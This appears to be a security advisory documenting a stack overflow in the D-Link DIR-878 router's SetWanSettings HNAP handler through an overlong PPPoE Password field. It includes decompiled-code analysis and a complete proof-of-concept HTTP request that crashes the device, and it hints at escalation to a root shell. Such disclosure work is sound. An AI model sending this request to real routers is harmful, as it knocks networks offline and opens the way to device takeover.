# D-Link DIR-878 was discovered stack overflow in the SetWanSettings module when the mode was set to PPPoE ###### tags: `D-Link` `DIR-878` vendor:D-Link product:DIR-878 version:DIR_878_FW1.30B08.bin type:Stack Overflow author:Yifeng Li, Wolin Zhuang; ## Vulnerability Description D-Link DIR-878 DIR_878_FW1.30B08.bin was discovered to contain a stack overflow via the Password parameter in the SetWanSettings module when the mode was set to PPPoE ## Vulnerability Details **When mode parameteris set to "PPPoE".** In module SetWanSettings,the content obtained by the programe through /SetWanSettings/Password is passed to v97 which is controllable for attacker and latet passed into function decrypt_aes as a parameter. ![](https://i.imgur.com/NpC1Lmn.png) After that, it is passed into function sub_426D74 as the first parameter as a2.Besides, we notice that local variable v6 is placed on the stack, which is also passed into function sub_426D74 as the second parameter. ![](https://i.imgur.com/DDR99OK.png) In function sub_426D74, the for loop from line 26 to line 32, first copy a1 to v7 then strtol transfer v7 to a2, which briefly, a2 equals hexdecode(a1).Let's start over again, a1, comes from a2 in function decrypt_aes, a variable is controllable to the attacker.And a2 comes from v6 in function decrypt_aes which is placed on the stack, so when we copy a1 to a2 in sub_426D74, we are basically putting v4's value into v6, which leads to a stack overflow vulnerbility . ![](https://i.imgur.com/dTeLfRi.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Install firmware DIR_878_FW1.30B08.bin to router DIR878 2. Login to as admin 3. Attack with the following POC ![](https://i.imgur.com/cgE0J7P.png) ``` POST /HNAP1/ HTTP/1.1 Host: Content-Length: 1110 Accept: text/xml HNAP_AUTH: A68C9B52702C6E5DCD64D0CA6A67E198 1675668808546 SOAPACTION: "http://purenetworks.com/HNAP1/SetWanSettings" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36 Content-Type: text/xml Origin: Referer: Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: uid=HZIHl/i8 Connection: close <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <SetWanSettings xmlns="http://purenetworks.com/HNAP1/"> <Type>DHCPPPPoE</Type> <Username>admin</Username> <Password>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</Password> <MaxIdleTime>0</MaxIdleTime> <HostName/> <VPNIPAddress/> <VPNSubnetMask/> <VPNGateway/> <ServiceName></ServiceName> <AutoReconnect>true</AutoReconnect> <IPAddress></IPAddress> <SubnetMask/> <Gateway/> <ConfigDNS> <Primary></Primary> <Secondary></Secondary> </ConfigDNS> <MacAddress></MacAddress> <MTU>1492</MTU> <DsLite_Configuration/> <DsLite_AFTR_IPv6Address/> <DsLite_B4IPv4Address/> </SetWanSettings> </soap:Body> </soap:Envelope> ``` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, denial of service. ![](https://i.imgur.com/51uYdE0.png) ![](https://i.imgur.com/NbdnEpy.png) ![](https://i.imgur.com/aaoczPC.png) And you can write your own exp to get the root shell.